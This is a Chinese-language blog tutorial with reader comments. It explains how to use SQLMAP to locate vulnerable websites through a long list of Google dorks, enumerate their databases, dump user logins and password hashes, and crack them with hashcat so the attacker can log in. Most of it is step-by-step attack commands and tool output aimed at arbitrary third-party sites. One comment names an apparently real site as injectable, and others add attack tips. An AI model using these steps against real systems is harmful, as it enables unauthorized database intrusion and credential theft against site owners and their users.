使用SQLMAP对网站和数据库进行SQL注入攻击

windhawk 2014-05-30 16:22:00

from:http://www.blackmoreops.com/2014/05/07/use-sqlmap-sql-injection-hack-website-database/

0x00 背景介绍


1. 什么是SQL注入?

SQL注入是一种代码注入技术,过去常常用于攻击数据驱动性的应用,比如将恶意的SQL代码注入到特定字段用于实施拖库攻击等。SQL注入的成功必须借助应用程序的安全漏洞,例如用户输入没有经过正确地过滤(针对某些特定字符串)或者没有特别强调类型的时候,都容易造成异常地执行SQL语句。SQL注入是网站渗透中最常用的攻击技术,但是其实SQL注入可以用来攻击所有的SQL数据库。在这个指南中我会向你展示在Kali Linux上如何借助SQLMAP来渗透一个网站(更准确的说应该是数据库),以及提取出用户名和密码信息。

2. 什么是SQLMAP?

SQLMAP是一个开源的渗透测试工具,它主要用于自动化地侦测和实施SQL注入攻击以及渗透数据库服务器。SQLMAP配有强大的侦测引擎,适用于高级渗透测试用户,不仅可以获得不同数据库的指纹信息,还可以从数据库中提取数据,此外还能够处理潜在的文件系统以及通过带外数据连接执行系统命令等。

访问SQLMAP的官方网站http://www.sqlmap.org可以获得SQLMAP更为详细的介绍,如它的多项特性,最为突出的是SQLMAP完美支持MySQL、Oracle、PostgreSQL、MS-SQL与Access等各种数据库的SQL侦测和注入,同时可以进行六种注入攻击。

还有很重要的一点必须说明:在你实施攻击之前想想那些网站的建立者或者维护者,他们为网站耗费了大量的时间和努力,并且很有可能以此维生。你的行为可能会以你永远都不希望的方式影响到别人。我想我已经说的够清楚了。(PS:请慎重攻击,不要做违法的事情)

PS:之前在wooyun上看了一些关于SQLMAP的文章,受益匪浅,今天翻译这篇文章,是希望对于如何使用SQLMAP提供一个基本的框架,SQL注入的原理以及SQLMAP详细的命令参数和不同的应用实例可以参考下面的文章:

SQL注射原理:http://drops.wooyun.org/papers/59

SQLMAP用户手册:http://drops.wooyun.org/tips/143

SQLMAP实例COOKBOOK:http://drops.wooyun.org/tips/1343

0x01 定位注入的网站


这通常是最枯燥和最耗时的一步,如果你已经知道如何使用Google Dorks(Google dorks sql insection:谷歌傻瓜式SQL注入)或许会有些头绪,但是假如你还没有整理过用于Google搜索的那些字符串的话,可以考虑复制下面的条目,等待谷歌的搜索结果。

a:利用Google Dorks字符串找到可注入的网站

这个列表很长,如果你也懂得SQL,那么你也可以添加新的条目,记得留言给我。

Google Dork string Column 1 Google Dork string Column 2 Google Dork string Column 3
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id=
inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id=
inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id=
inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id=
inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
inurl:news.php?id= inurl:participant.php?id=  
inurl:avd_start.php?avd= inurl:download.php?id=  
inurl:event.php?id= inurl:main.php?id=  
inurl:product-item.php?id= inurl:review.php?id=  
inurl:sql.php?id= inurl:chappies.php?id=  
inurl:material.php?id= inurl:read.php?id=  
inurl:clanek.php4?id= inurl:prod_detail.php?id=  
inurl:announce.php?id= inurl:viewphoto.php?id=  
inurl:chappies.php?id= inurl:article.php?id=  
inurl:read.php?id= inurl:person.php?id=  
inurl:viewapp.php?id= inurl:productinfo.php?id=  
inurl:viewphoto.php?id= inurl:showimg.php?id=  
inurl:rub.php?idr= inurl:view.php?id=  
inurl:galeri_info.php?l= inurl:website.php?id=  

b:初始验证网站是否可以进行SQL注入

上面的字符串搜索之后,也许会得到成百上千的结果,那么如何判断这些网站是否可以进行SQLMAP的注入呢?有很多种方法,我相信大家会争论哪种才是最好的,但是对我而言下面的方法是最简单和最有效的。

我们假设你使用了字符串:inurl:item_id=,然后其中一个结果的网站是:

http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15

在后面添加添加一个单引号’之后,URL成为了:

http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'

如果页面返回一个SQL错误,说明页面存在SQL注入点;如果页面加载正常显示或者重定向到一个不同的页面,跳过这个网站,用同样的方法去测试下一个网站吧!

【PS:现在比较多的可以使用’and 1=1’、‘or 1=1’等测试注入点的存在,这篇文章侧重地是使用SQLMAP注入的思路和整体步骤】

下面是我自己测试时的SQL错误截图:

 

不同的数据库返回的SQL错误或许会有不同,比如:

Microsoft SQL Server

Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’.

描述:Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string attack;

MySQL Errors

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12

Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12

Oracle Errors

java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)

Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated

PostgreSQL Errors

Query failed: ERROR: unterminated quoted string at or near “‘’’”

0x02 列出DBMS数据库


正如上图你看到的,我找到了一个存在SQL注入点的网站。现在我需要列出所有的数据库(有时这也称为枚举列数)。因为我一直在使用SQLMAP,它会告诉我哪个存在漏洞。

运行下面的命令,参数是你找到的存在注入点的网址:

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 --

我们现在看到两个数据库,其中的information_schema是几乎所有MySQL数据库默认的标准数据库,所以我们的兴趣主要在sqldummywebsite数据库上。

这里的参数:

sqlmap:SQLMAP可执行文件的名称,也可使用python sqlmap.py来替代
-u:目标URL
--dbs:枚举DBMS数据库

0x03 列出目标数据库的表


现在我们需要知道在数据库sqldummywebsite中都有哪些表,为了弄清这些信息,我们使用下面的命令:

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite --tables

我们发现这个数据有8张表:

[10:56:20] [INFO] fetching tables for database: 'sqldummywebsite'
[10:56:22] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:56:22] [INFO] the SQL query used returns 8 entries
[10:56:25] [INFO] retrieved: item
[10:56:27] [INFO] retrieved: link
[10:56:30] [INFO] retrieved: other
[10:56:32] [INFO] retrieved: picture
[10:56:34] [INFO] retrieved: picture_tag
[10:56:37] [INFO] retrieved: popular_picture
[10:56:39] [INFO] retrieved: popular_tag
[10:56:42] [INFO] retrieved: user_info

 

显而易见,我们的兴趣主要在表user_info中,因为这张表中包含着数据库的用户名和密码。

0x04 列出指定数据库中的列


现在我们需要列出数据库sqldummywebsite的表user_info中的所有的列,使用SQLMAP进行这一步会非常简单,运行下面的命令:

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info --columns

命令返回5个段:

[10:57:16] [INFO] fetching columns for table 'user_info' in database 'sqldummywebsite'
[10:57:18] [INFO] heuristics detected web page charset 'ISO-8859-2'
[10:57:18] [INFO] the SQL query used returns 5 entries
[10:57:20] [INFO] retrieved: user_id
[10:57:22] [INFO] retrieved: int(10) unsigned
[10:57:25] [INFO] retrieved: user_login
[10:57:27] [INFO] retrieved: varchar(45)
[10:57:32] [INFO] retrieved: user_password
[10:57:34] [INFO] retrieved: varchar(255)
[10:57:37] [INFO] retrieved: unique_id
[10:57:39] [INFO] retrieved: varchar(255)
[10:57:41] [INFO] retrieved: record_status
[10:57:43] [INFO] retrieved: tinyint(4)

 

哈哈!其中的user_loginuser_password字段就是我们要找的!

0x05 从指定的数据库的表中列出用户名


SQLMAP的SQL注入非常简单!再次运行下面的命令吧:

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_login --dump

现在我们有了数据库的用户名了:

[10:58:39] [INFO] retrieved: userX
[10:58:40] [INFO] analyzing table dump for possible password hashes

现在我们只需要这个用户的密码了,下面就来介绍如何得到密码!

0x06 提取用户密码


你可能已经习惯如何使用SQLMAP了!使用下面的参数来提取密码字段的数值吧!

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump

现在我们得到密码字段了:

[10:59:15] [INFO] the SQL query used returns 1 entries
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.
[10:59:18] [INFO] analyzing table dump for possible password hashes
Database: sqldummywebsite
Table: user_info
[1 entry]
+---------------+
| user_password |
+---------------+
| 24iYBc17xK0e. |
+---------------+

虽然我们得到了密码字段的值,但是却是密码的HASH值,现在我们需要解密这个密码了。我之前已经探讨过在Kali Linux上如何解密MD5、phpBB、MySQL和SHA-1。

你可以参考:

http://www.blackmoreops.com/2014/03/26/cracking-md5-phpbb-mysql-and-sha1-passwords-with-hashcat/

下面简要地介绍如何使用hashcat来破解MD5。

0x07 破解密码


现在密码字段的值是 24iYBc17xK0e ,你首先应当判断HASH的类型。

a:识别HASH类型

幸运地是,Kali Linux提供了可以用来鉴别HASH类型的工具,只需要命令行下敲入命令:

Hash-identifier

然后根据提示提供HASH值就可以了:

 

所以这是一个DES(Unix) HASH。

【PS:实际中HASH加密使用几种形式,如*nix系统、MD5(Unix)等,详细内容可以参考HASH加密类型传送门:http://zone.wooyun.org/content/2471

b:使用cudahashcat破解HASH

首先我们必须知道DES HASH使用的代码,运行命令:

cudahashcat --help | grep DES

【PS:这里的cudahashcat是借助GPU进行破解的工具,下面提到的oclHashcat也是同样的工具,详细介绍与用法可以参考HASHCAT使用简介传送门:http://drops.wooyun.org/tools/655

 

如图所示:代码要么是1500要么是3100,因为目标是一个MySQL数据库,所以一定是1500.我运行的电脑使用的是NVDIA显卡,因此我可以使用cudaHashcat;我的笔记本是AMD显卡,那么我就只能使用oclHashcat破解MD5.如果你运行在VirtualBox或者VMWare上,你既不能使用cudahashcat也不能使用oclhashcat,你必须安装Kali Linux。

我将HASH值存储在DES.hash文件中,然后运行命令:

cudahashcat -m 1500 -a 0 /root/sql/DES.hash /root/sql/rockyou.txt

 

现在我们得到了破解的密码:abc123,接下来我们就可以使用这个用户的身份登录了。

评论

A

Azui 2014-05-30 18:31:22

注入点收集不错~

正好五个字 2014-05-30 20:07:58

列出数据库的命令少了dbs

M

Murk Emissary 2014-05-30 21:14:23

据说sqlmap的注入点采集失效了,现在是否还能用呢?

B

bitcoin 2014-05-30 23:40:26


乌帽子 2014-05-31 03:30:27

表示木有失效

浅兮 2014-05-31 12:32:33

大牛分享一个免pu环境的sqlmap啦!我也想学sqlmap的使用

W

windhawk 2014-05-31 22:42:00

谢谢 大家还可以继续补充下

阿布 2014-06-01 16:25:46

qlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 --
我们现在看到两个数据库,其中的information_schema是几乎所有MySQL数据库默认的标准数据库,所以我们的兴趣主要在sqldummywebsite数据库上。
后面少了--dbs

W

wangy3e 2014-06-01 20:58:25

lz辛苦了~~

路人甲 2014-06-01 23:01:59

LZ辛苦了,待我好好研究研究。豆瓣上有个注入点收集:http://www.douban.com/note/332040180/
不知道呵LZ的重不重。

W

windhawk 2014-06-02 11:04:03

嗯 的确是哈 列出数据库的时候应该使用--dbs参数 自己给漏掉了 谢谢!

李白 2014-06-02 20:54:53

请问一下,如果当网站登录框注入这种情况,有验证码时,SQLMAP是否有新的姿势.谢谢

高斯 2014-06-03 03:02:46

同问

W

windhawk 2014-06-03 09:58:22

我的是一般实在Kali上直接跑的 安装好可以使用
1. git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev 下载最新的sqlmap;
2. git pull

W

windhawk 2014-06-03 10:47:39

为筒子们服务!

W

windhawk 2014-06-03 10:54:29

记得曾经见到过试用参数--cookie='cookie value', 用tamper data类似的工具获取HTTP包数据的cookie部分

路人甲 2014-06-04 18:31:01

今天 找到个明码的 mssql

路人甲 2014-06-05 08:40:46

写的很好,希望能提供更多干货

G

gerfalke 2014-06-08 00:17:31

用了sqlmap,其他工具接受不了了~

牛£金钢 2014-06-16 11:44:44

POST注入怎么搞?

路人甲 2014-06-25 08:12:42

Website besuchen...
使用SQLMAP对网站和数据库进行SQL注入攻击 | WooYun知识库...

黑吃黑 2014-07-22 23:20:00

要把这些东西看过一遍

看风者 2014-08-18 23:11:25

--data="post data"

路人甲 2014-09-23 08:00:22

ポールスミス店舗...
使用SQLMAP对网站和数据库进行SQL注入攻击 | WooYun知识库...

路人甲 2014-09-25 06:32:02

フルラポーチ...
使用SQLMAP对网站和数据库进行SQL注入攻击 | WooYun知识库...

路人甲 2014-10-29 16:22:51

http://www.uangyih.com.tw/china/prod_item_detail.php?item_id=43 在这个有注入 由于新手表示没有搞到账号密码。

黑色 2014-10-30 14:25:09

rockyou.txt 是字典 ?

路人甲 2014-10-30 19:13:24

MD5 破解 没有好字典 密码没办法破呀!

路人甲 2015-01-01 21:21:10

xue xi zhong

J

j14n 2016-01-31 23:50:41

sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 --
这一句是不是少了个dbs

路人甲 2016-02-24 09:22:59

@j14n 兄台你好:楼主的语法正确。sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D "D标识database,后面跟数据库名就行了," ,我们可以从实例中看到 -D sqldummywebsite ,因此楼主已经爆库,并且得到数据库名是sqldummywebsite。 一起学习!

路人甲 2016-03-17 23:54:41

mark

路人甲 2016-04-20 20:33:00

谢谢

路人甲 2016-06-19 15:44:05

小伙子很不错。跟我学做菜吧。

W

windhawk

人, 既无虎狼之爪牙,亦无狮象之力量,却能擒狼缚虎,驯狮猎象,无他,唯智慧耳。

twitter weibo github wechat

随机分类

事件分析 文章:223 篇
CTF 文章:62 篇
Java安全 文章:34 篇
Web安全 文章:248 篇
数据分析与机器学习 文章:12 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录